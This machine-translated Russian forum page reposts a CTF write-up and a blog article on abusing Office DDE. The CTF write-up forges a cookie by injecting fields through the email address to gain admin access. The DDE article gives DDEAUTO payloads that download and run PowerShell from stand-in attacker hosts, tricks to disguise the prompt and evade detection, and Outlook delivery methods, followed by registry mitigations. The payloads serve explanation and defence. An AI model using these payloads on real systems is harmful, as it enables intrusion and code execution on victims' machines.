Во время регистрации веб-сайт не вводил никаких ограничений на символы, введенные в emailполе. Подумайте, что произойдет, если я напишу свой адрес электронной почты fake@mail.com÷id¡1. Тогда мой cookie будет: id¡1337÷username¡testac÷email¡fake@mail.com÷id¡1вместе с его контрольной суммой. Хотя дешифрование, из-за способа decompress()построения массива, массив будет таким, id¡1÷username¡testac÷email¡fake@mail.comкак последний idзаменяет значение первого. Это именно то, что мы хотим!

Но, к сожалению, CRC-32контрольная сумма терпит неудачу, так как ожидаемая контрольная сумма ( checksum=732808468) будет иметь исходные данные с 2 idс, тогда как итоговое значение ( ) будет иметь checksum=3870551952только 1 id. Давайте также вводим контрольную сумму!

Изменив нашу электронную почту, чтобы включить контрольную сумму данных id=1, наш новый файл cookie будет:id¡1337÷username¡testac÷email¡fake@mail.com÷id¡1÷checksum¡3870551952

Затем он будет добавлен с помощью контрольной суммы: id¡1337÷username¡testac÷email¡fake@mail.com÷id¡1÷checksum¡3870551952÷checksum¡2104704402

Но теперь наша контрольная сумма перезаписывается новой, как и мы перезаписываем предыдущее значение id. Это то, на что lengthприходит картина! Если мы уменьшим lengthтолько до первой контрольной суммы (т.е. первых 77символов), decompress()функция считает исходную контрольную сумму и дешифрует файл cookie без каких-либо ошибок!

Это все, что нам нужно сделать, чтобы получить ADMIN ACCESS!

  1. Зарегистрируйтесь со следующими данными:
    • Имя пользователя: testac
    • Эл. адрес: fake@mail.com÷id¡1÷checksum¡3870551952
  2. Войдите и получите свой файл cookie (в результате получится Decryption Error (3))
  3. Выйдите из системы, измените длину файла cookie 000077и установите cookie
  4. Перейдите в admin.php
И у нас есть флаг!


ИСТОЧНИК: https://github.com/AdityaVallabh/ctf-write-ups/tree/master/DCTF/Get Admin
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Microsoft Office DDE
Вступление
Раньше в этом месяце я столкнулся с сообщением команды SensePost, в котором излагалась их техника без малогабаритного кода, использующая устаревшую функцию DDE в Microsoft Word . Как вам известно, эта функция существует в Office уже много лет и даже написана более 15 лет назад как потенциальный вектор угрозы . Старые или нет, поскольку мы продолжаем сталкиваться с препятствиями перед злонамеренными актерами в форме отключения макросов и других ограничений исполнения кода, атаки будут адаптироваться и использовать любые работы независимо от возраста, поэтому я видел, что это жизнеспособный вектор, который стоит изучить в дальнейшем.

Я всегда заинтересован в тестировании этих методов, поэтому я могу лучше понять, как защитить предприятие от таких атак, и пока я публиковал некоторые результаты спорадически в Twitter, я хотел бы лучше централизовать мои результаты. Ниже приведен краткий обзор моих тестовых заметок.

Тестирование в Word
Команда SensePost хорошо описала технику в Word, и я не буду перефразировать их заметки, поэтому, если вы не знакомы, я рекомендую вам ознакомиться со ссылкой во введении.

Изменение предупреждения пользователя
Если вы знакомы, вы поймете, что достаточно просто открыть документ Word с полем DDEAUTO, чтобы выполнить его, хотя пользователю будет предложено несколько подсказок, для первых двух из которых требуется ответить «Да», чтобы для успешного выполнения.

Первое приглашение является общим и просто выглядит следующим образом:



Второе приглашение фактически включает части команды DDEAUTO и, следовательно, может сделать более взыскательного пользователя немного подозрительным, в зависимости от того, что выполняется (в нижнем случае, только Calc.exe).





Одна из вещей, которая вызвала мой интерес к статье SensePost, заключалась в следующем утверждении:

Второе приглашение запрашивает у пользователя, хочет ли он выполнить указанное приложение, теперь это можно рассматривать как предупреждение о безопасности, поскольку оно запрашивает у пользователя выполнение «cmd.exe», однако при правильной модификации синтаксиса он может быть скрыт
Я начал изменять синтаксис и, используя их пример выполнения удаленного сценария Powershell, пошел от этого ...

JavaScript:
{ DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://evilserver.ninja/pp.ps1');powershell -e $e "}
… к этому …
JavaScript:
{ DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://[evil_ip]/shell.txt');powershell $e # " "for security reasons"}
Помимо выбора прямого вызова Powershell, ключевым отличием здесь является манипуляция с каталогом и текстовая надбавка, добавленная в качестве второго параметра команды DDEAUTO, что приводит к потенциально более убедительной подсказке:





Незадолго до того, как этот метод наблюдался в дикой природе:


Kevin Beaumont

@GossiTheDog

· Oct 12, 2017

Ht @SecuritySift - modify the executable in Word DDE prompt to show different one to one executed.

Kevin Beaumont

@GossiTheDog


Just seen this technique in the wild layered on DDE issue: bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 pic.twitter.com/Z5P84nVgqB

4

1:07 AM - Oct 16, 2017
Twitter Ads info and privacy

See Kevin Beaumont 's other Tweets
Поиск уязвимых типов файлов
Если вы отвечаете за безопасность организации / предприятия, вы знаете, что типы файлов могут иметь значение, когда при определении адекватности решений для обнаружения и предотвращения. Например, возможно, вы вставляете вложения в виде песочницы, и эта технология может хорошо сканировать работу .doc или docx., Но как насчет Word XML? Оказывается, до тех пор, пока Word установлен как парсер по умолчанию, все типы файлов могут использоваться как вектор: doc (x / m), dot (x / m), rtf и Word xml, В конце этой статьи я опубликую шаги по предотвращению, но обратите внимание, что если по какой-либо причине вы не можете применять эти параметры реестра (или вы не управляете всеми рабочими станциями в своей среде), вы должны подумать о том, как еще вы можете обнаружить / предотвращать DDE, если он входит через любой из вышеперечисленных типов файлов. Также обратите внимание, что файлы Word могут быть встроены в другие офисные документы (Publisher, PowerPoint и т. Д.), Поэтому это не всегда так просто, как идентификация этих конкретных типов файлов в вложениях электронной почты.

Тестирование в Outlook
Хотя Word был представлен как вектор угрозы Sensepost, мне также было интересно узнать о типах файлов Outlook, поскольку их было бы намного сложнее обнаружить. Поскольку Outlook использует Word как собственный синтаксический анализатор, я обнаружил, что присоединение файла проекта сообщения (.msg) или tempate (.oft) также будет выполнять DDE, если пользователь откроет это приложение:



Хотя, конечно, важно знать (скажете ли вы все вложения MSX, когда они входят в вашу среду?), Меня больше интересовало, могу ли я выполнить DDE непосредственно в электронной почте, а не встраивать в приложение. Я тестировал несколько версий Outlook (2007, 2013, 2016), но не смог добиться чего-либо стабильной работы. Затем я увидел этот твит:

View image on Twitter



Kevin Beaumont

@GossiTheDog

https://twitter.com/GossiTheDog/status/920635876375449600

Remember the Word DDE issue found by @sensepost? Copy the DDE from Word into Outlook, then email it to somebody.. No attachment -> calc.

663

4:01 PM - Oct 18, 2017

565 people are talking about this
Сначала я не мог воспроизвести это в любой версии Outlook, и я продолжал думать о том, что может быть другим. Визуально, единственное, что я мог видеть, это изображение профиля, и хотя это, возможно, не было триггером, мне стало интересно, как встраивать другой контент, чтобы увидеть, повлияет ли это на выполнение DDE (до сих пор я тестировал DDEAUTO поле само по себе).

Разумеется, я обнаружил, что добавив картинку, диаграмму или другой объект, я мог бы последовательно запускать DDE для ответа на сообщения во всех версиях Outlook.





Обратите внимание, что сама команда DDEATUO находится в теле сообщения, а не в вставленном объекте. То, что я сделал для вышеуказанного сообщения, заключалось в том, чтобы добавить команду DDEAUTO в белый текст (непосредственно над блоком подписи) и вставил строку «Ответить на это сообщение ...» в качестве внедренного документа WordPad (Insert-> Object-> WordPad document), который автоматически запускает DDE при нажатии «Reply» или «Reply All».

Кстати, если вы сами это проверяете, убедитесь, что вы всегда форматируете исходное электронное письмо в формате RTF. Кроме того, я обнаружил, что определенные почтовые службы (например, Hotmail) могут автоматически конвертировать сообщения в HTML, чтобы DDE был удален до того, как он попадет к получателю. Я смог последовательно работать с DDE, отправляя из учетной записи Gmail (с помощью клиента Outlook) другую службу электронной почты (например, MS Exchange).

То же самое было и для Outlook Tasks. Хуже того, запросы на собрания автоматически запускают DDE при открытии (без ответа) и повторите это, если получатель пытается отменить встречу .




ОБНОВЛЕНИЕ (11/7):

Недавно я прочитал еще одну замечательную рецензию Этьена Сталманса об обфускации DDE, в которой рассказывается о дополнительных способах скрыть полезную нагрузку DDE, используя такие методы, как коды полей SET / QUOTE и, что более интересно, использование наборов фреймов для размещения содержимого DDE в другом документе вообще (в попытке победить YARA и подобное обнаружение правил). Последнее заставило меня задуматься об использовании кода поля INCLUDE и, конечно же, я обнаружил, что смог разместить полезную нагрузку DDE в другом общедоступном документе Word, отдельно от Word Word, распространяемого по электронной почте.

Во-первых, разместите документ, содержащий выбранную команду DDEAUTO, в доступном для доступа месте ... Я выбрал Dropbox для тестирования. Затем в документе Word, который вы планируете проверить на обнаружение (например, тот, который будет отправлен конечному пользователю), просто вставьте код поля INCLUDE вместе с URL-адресом размещенного документа DDE. Для некоторого дополнительного базового обфускации я разместил местоположение документа DDE, размещенного снаружи, в поле свойств комментариев и ссылался на него с кодом поля DOCPROPERTY.

JavaScript:
{INCLUDE { DOCPROPERTY "Comments" }}
Поле комментариев выглядит следующим образом:



Как только вы сделаете это грязной ссылкой (см. Ниже, а также вышеприведенную запись), она должна автоматически запрашиваться при каждом открытии пользователя.
JavaScript:
<w:fldChar w:fldCharType="begin" w:dirty="true"/>
профилактика
Итак, как вы предотвращаете этот вектор? Для компьютеров под вашим контролем управления выполнение DDE может быть отключено с помощью ключа реестра, но имейте в виду, что для Word и Outlook существуют отдельные ключи.
Кто-то уже установил страницу Github с этими разделами реестра, поэтому я не буду переименовывать их здесь.
Однако обратите внимание, что на момент написания этой статьи на вышеуказанной странице не были указаны Outlook или Word 2007, которые выглядят следующим образом:

Код:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\Outlook\Options\vpref]

“fNoCalclinksOnopen_90_1” = dword:00000001

… and …

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\Word\Options\vpref]

“fNoCalclinksOnopen_90_1” = dword:00000001
Заключение
Хотя старая особенность, так как эта техника была недавно внедрена, DDE превратилась в вектор атаки .
Хотя некоторые продукты конечных точек могут обнаруживать файлы со встроенным DDE (или, скорее, возможное выполнение Powershell из Word / Outlook), и ваши сетевые обнаружения могут также подхватывать некоторые из них, между операциями с подсказками и несколькими типами файлов (включая собственные Outlook сообщения электронной почты), лучший способ предотвратить этот вектор атаки DDE - полностью отключить его через вышеупомянутые изменения реестра. Также имейте в виду, что аналогичные проблемы с выполнением кода выполняются с помощью Excel, также охватываемых SensePost.
Быстрый поиск в Twitter показывает, что есть много других людей, проверяющих это (некоторые из них раскрыли точные результаты и, возможно, больше), поэтому, если я натолкнулся на что-нибудь примечательное, я обновлю этот пост дальше.
До скорого,
Майк



ИСТОЧНИК: https://www.securitysift.com/abusing-microsoft-office-dde/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх